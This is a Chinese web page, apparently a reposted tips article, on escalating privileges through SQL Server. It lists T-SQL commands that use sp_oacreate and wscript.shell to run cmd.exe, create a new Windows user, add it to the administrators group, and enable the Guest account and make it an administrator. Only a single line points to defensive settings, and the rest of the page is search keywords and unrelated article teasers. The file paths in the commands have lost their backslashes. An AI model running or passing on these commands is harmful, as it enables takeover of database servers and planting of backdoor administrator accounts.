1、连接数据库 driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 2、添加新用户 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net user 新用户 密码 /add' 3、把用户加到管理组 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net localgroup administrators 新用户 /add' 4、激活GUEST用户 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net user guest /active:yes' 5、把Guest加到管理组 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net localgroup Administrators Guest /add' 关于防范方法,可以参考积木网服务器安全设置栏目。
推荐整理分享SQL 提权 常用命令(sqlmap 提权),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:sqlmap udf提权,sqlmap udf提权,sqlserver提权,sqlshell提权,sqlmap 提权,sqlshell提权,sqlserver提权,sqlserver提权,内容如对您有帮助,希望把文章链接给更多的朋友!
数据转换冲突及转换过程中大对象的处理 数据转换冲突及处理数据转换冲突:在数据转换过程中,要想实现严格的等价转换是比较困难的。必须要确定两种模型中所存在的各种语法和语义上的冲
SQLServer 数据库开发顶级技巧 确保代码中的数据类型与数据库中的列类型保持一致确保您的应用程序各层数据类型保持一致是非常重要的。例如,如果一列的数据类型为NVARCHAR()
远程连接SQLSERVER 服务器方法 测试条件:一个公网IP,两个静态IP。具体步骤:一、ping服务器IP能否ping通观察远程SQLServer服务器的物理连接是否存在。如果不行,请检查,查看配